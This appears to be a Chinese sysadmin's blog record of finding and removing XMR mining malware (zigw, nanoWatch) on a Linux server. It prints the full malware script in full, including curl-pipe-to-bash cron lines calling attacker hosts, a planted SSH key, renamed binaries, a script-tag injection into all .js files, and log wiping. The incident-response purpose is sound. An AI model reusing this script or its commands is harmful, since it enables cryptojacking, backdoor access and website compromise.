Fork me on GitHub

zigw 和 nanoWatch, libudev.so 和 XMR 挖矿程序查杀记录

最近这两天以来,服务器一致声音很响。本来以为有同事在运行大的程序,结果后来发现持续很长时间都是这样,并没有停的样子。后来查了一下,发现有几个可疑进程导致,干掉之后,果然服务器静悄悄了。

但是,问题并没有结束,过了一会儿,服务器又开始轰鸣了,查找了一下,这里简单记录一下。

1.查看top结果,可见如下情况:

top - 13:38:41 up 7 days,  4:33,  4 users,  load average: 80.62, 78.60, 77.78
Tasks: 469 total,   1 running, 465 sleeping,   0 stopped,   3 zombie
%Cpu(s): 99.9 us,  0.1 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 24.4/65756948 [||||||||||||||||||||||||                                                                          ]
KiB Swap:  0.0/24367100 [                                                                                                   ]

 
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                    
19214 root      20   0 2016184  75664   1416 S  1958  0.1   5606:28 zigw                                                                                                                       
19369 root      20   0 2016184  55096   1416 S  1951  0.1   5457:32 zigw                                                                                                                       
29272 root      20   0  294996  62716      4 S  71.2  0.1 126506:29 nanoWatch                                                                                                                  
 2558 root      20   0   21.2g 533096  18008 S   9.9  0.8   0:18.52 java                                                                                                                       
 8830 root      20   0   23.4g   6.1g  18404 S   2.9  9.8 699:47.69 java                                                                                                                       
25111 root      20   0   23.0g   2.3g  18480 S   0.6  3.6   8:20.14 java                                                                                                                       
   10 root      20   0       0      0      0 S   0.3  0.0   5:07.89 rcu_sched                                                                                                                  
 1315 root      20   0   26812   2308   1504 S   0.3  0.0   1:28.42 systemd-logind                                                                                                             
 3295 root      20   0  159304   6104   4736 S   0.3  0.0   0:00.10 sshd                                                                                                                       
 3411 root      20   0  162264   2668   1588 R   0.3  0.0   0:00.19 top                                                                                                                        
 3524 root      20   0    1396    868    148 S   0.3  0.0   0:00.01 zlqcduxya                                                                                                                  
 3530 root      20   0    1396    864    148 S   0.3  0.0   0:00.01 ckrdxxjp                                                                                                                   
 9231 root      20   0   24.4g   1.1g  17916 S   0.3  1.8 658:50.70 java                                                                                                                       
25248 root      20   0   22.2g 935460  13720 S   0.3  1.4   5:00.42 java                                                                                                                       
41265 mysql     20   0 1975792 398624   8316 S   0.3  0.6   4:00.93 mysqld

 

 

通过上图,可以看到其中存在3个使用率高的,还有3个僵尸进程。

而这里的 3 zombie ,这三个 zombie就是僵尸进程。

杀掉僵尸进程的办法:

//先查看具体进程
#ps -A -o stat,ppid,pid,cmd |grep -e "^[Zz]"    

//杀死z进程(这些动作略危险,在生产环境的服务器注意一下)
#kill -9 pid号         
[root@localhost bin]# ps -A -o stat,ppid,pid,cmd |grep -e "^[Zz]"

Zs   22039 22042 [sh] <defunct>

您在 /var/spool/mail/root 中有新邮件

[root@localhost bin]# pwdx 22039 22042

22039: /

22042: 没有那个进程

 

当然,

假若你的z进程比较多,可以编写个小小的脚本,下面是参与网上的

#ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9

 

查找crontab,并修改清除定时任务

[root@localhost ~]# cat /etc/crontab

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs


# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed



*/3 * * * * root /etc/cron.hourly/gcc.sh

 

crontab -e 看到的内容:

REDIS0006þ^@^@^EBack2@I

*/5 * * * * wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd

        ^@^GweaponZ@E

*/7 * * * * wget -q -O- https://master.minerxmr.ru/start.jpg | bash

^@^GweaponX@D

*/5 * * * * curl -fsSL https://master.minerxmr.ru/start.jpg | bash

^@^EBack3?

*/13 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh

        ^@^EBack1=

* * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh

        ÿª^K&à[§9^\

"/tmp/crontab.w3M9PL" [noeol][converted] 11L, 406C

 

查看/etc/shz.sh 文件都在做什么

病毒特征

第二种病毒是门罗币(XMR)挖矿程序,门罗币似乎是今年年初涨得很快,所以用病毒入侵挖矿的手法也就出现了,病毒主要是通过下载脚本,运行后下载并启动挖矿程序来工作,脚本的内容如下,关于脚本的代码分析见于:XMR恶意挖矿案例简析,里面讲的非常详细。

# cat /etc/shz.sh 
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
    then
        pkill zjgw
        chattr -i /etc/shz.sh
        rm -f /etc/shz.sh
        chattr -i /tmp/shz.sh
        rm -f /tmp/shz.sh
        chattr -i  /etc/gmbpr
        rm -f /etc/gmbpr
    else
        echo "ok"
fi
if [ -f "$rtdir" ]
    then
        echo "goto 1" >> /etc/gmbpr2
        grep -q "46j2h" /etc/config.json
        if [ $? -eq 0 ];
            then
                echo "config ok"
            else
                chattr -i /etc/config.json
                rm -f /etc/config.json
        fi
        chattr -i $cont
        if [ -f "$bbdir" ]
            then
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
            else
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
        fi
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /etc
                outip=`url icanhazip.com`
                ip=`echo ${outip//./o}`
                if [ -z "$ip" ]; then
                    outip=`curl icanhazip.com`
                    ip=`echo ${outip//./o}`
                fi 
                if [ -z "$ip" ]; then
                    ip="unknow"
                fi
                filesize=`ls -l zigw | awk '{ print $5 }'`
                cfg="/etc/config.json"
                file="/etc/zigw"
                if [ -f "$cfg" ]
                    then
                        echo "exists config"
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
                        fi
                fi
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /etc/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        fi
                fi
                chmod 777 zigw
                sed -i "s/unknow/${ip}/g" config.json
                sleep 5s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /etc/zigw
        chattr +i /etc/zigw
        chmod 777 /etc/shz.sh
        chattr +i /etc/shz.sh
        shdir='/etc/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
                fi
                sh /etc/shz.sh
        fi
    else
        echo "goto 1" > /tmp/gmbpr2
        chattr -i $cont
        [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /tmp
                outip=`url icanhazip.com`
                ip=`echo ${outip//./o}`
                if [ -z "$ip" ]; then
                    outip=`curl icanhazip.com`
                    ip=`echo ${outip//./o}`
                fi 
                if [ -z "$ip" ]; then
                    ip="unknow"
                fi
                filesize=`ls -l zigw | awk '{ print $5 }'`
                cfg="/tmp/config.json"
                file="/tmp/zigw"
                if [ -f "$cfg" ]
                    then
                        echo "exists config"
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
                        fi
                fi
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /tmp/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        fi
                fi
                chmod 777 zigw
                sed -i "s/unknow/${ip}/g" config.json
                sleep 5s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /tmp/zigw
        chattr +i /tmp/zigw
        chmod 777 /tmp/shz.sh
        chattr +i /tmp/shz.sh
        shdir='/tmp/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
                fi 
                sh /tmp/shz.sh
        fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

 

 

注意这两个地址: 

http://c.21-2n.com:43768
http://t.cn/EvlonFh

 

再查了一下,看V2EX上有人在4小时之前,也遇到这个问题了。(参考:https://www.v2ex.com/t/511857

检查 /root/.ssh/authorized_keys ,看有没有一些奇怪的公钥:

[root@localhost ~]# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me

 

参考:https://www.cnblogs.com/Rebybyx/p/9913779.html

 

查看/usr/bin下的文件:

[root@localhost bin]# cat fntmpqdsjxky.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp "/usr/bin/fntmpqdsjxky" "/usr/bin/dhgeytmsrf"
"/usr/bin/dhgeytmsrf"

 

查看/tmp

[root@localhost tmp]# ls -la
总用量 448
drwxrwxrwt. 16 root root   4096 11月 27 15:15 .
dr-xr-xr-x. 17 root root   4096 11月 20 09:06 ..
drwx------   2 root root     19 11月 23 09:46 .esd-0
drwxrwxrwt.  2 root root      6 10月 21 18:16 .font-unix
drwxr-xr-x   2 root root     88 11月 27 14:00 hsperfdata_root
drwxrwxrwt.  2 root root     78 11月 23 09:46 .ICE-unix
-rwxrwxrwx   1 root root 448500 11月 23 20:35 nanoWatch
drwxr-xr-x   4 root root     52 11月  1 15:03 NGINX
drwxr-xr-x   3 root root     24 11月 27 15:15 soft
drwx------   3 root root     16 11月 14 18:57 systemd-private-608487cde1ba4c3aaf4c6aaa08e00275-mariadb.service-QeGg1y
drwx------   3 root root     16 11月 20 09:05 systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-chronyd.service-5PnKzn
drwx------   3 root root     16 11月 23 09:46 systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-colord.service-EwMvPf
drwx------   3 root root     16 11月 20 09:05 systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-cups.service-WvZk2h
drwxrwxrwt.  2 root root      6 10月 21 18:16 .Test-unix
drwx------   2 root root      6 11月 15 19:22 tracker-extract-files.0
drwxrwxrwt.  2 root root      6 11月 23 09:51 .X11-unix
drwxrwxrwt.  2 root root      6 10月 21 18:16 .XIM-unix

 

 

查看 /var/spool/mail/root

[root@localhost bin]# cat /var/spool/mail/root

From root@localhost.localdomain  Tue Nov 27 14:40:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 6708B1F004E; Tue, 27 Nov 2018 14:40:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7520>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064001.6708B1F004E@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:40:01 +0800 (CST)

/bin/sh: wget: command not found

From root@localhost.localdomain  Tue Nov 27 14:40:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 675F897CA9; Tue, 27 Nov 2018 14:40:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL https://master.minerxmr.ru/start.jpg | bash
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7519>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064001.675F897CA9@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:40:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:40:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 6A2A297CA9; Tue, 27 Nov 2018 14:40:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7521>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064001.6A2A297CA9@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:40:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:41:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 74A7F97CA9; Tue, 27 Nov 2018 14:41:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7523>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064101.74A7F97CA9@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:41:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:42:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 814EF1F0063; Tue, 27 Nov 2018 14:42:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7526>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064201.814EF1F0063@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:42:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:42:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 81BF11F0064; Tue, 27 Nov 2018 14:42:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> wget -q -O- https://master.minerxmr.ru/start.jpg | bash
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7524>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064201.81BF11F0064@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:42:01 +0800 (CST)

/bin/sh: wget: command not found

From root@localhost.localdomain  Tue Nov 27 14:43:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 8DF5C1F0064; Tue, 27 Nov 2018 14:43:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7527>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064301.8DF5C1F0064@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:43:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:44:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id 9A9681F0064; Tue, 27 Nov 2018 14:44:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7528>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064401.9A9681F0064@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:44:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:45:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id A6C171F0064; Tue, 27 Nov 2018 14:45:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> /etc/cron.hourly/gcc.sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7529>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064501.A6C171F0064@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST)

/bin/bash: /etc/cron.hourly/gcc.sh: No such file or directory

From root@localhost.localdomain  Tue Nov 27 14:45:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id A6F4C1F0065; Tue, 27 Nov 2018 14:45:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL https://master.minerxmr.ru/start.jpg | bash
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=7531>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20181127064501.A6F4C1F0065@localhost.localdomain>
Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST)

/bin/sh: curl: command not found

From root@localhost.localdomain  Tue Nov 27 14:45:01 2018
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid 0)
    id A718997CA9; Tue, 27 Nov 2018 14:45:01 +0800 (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
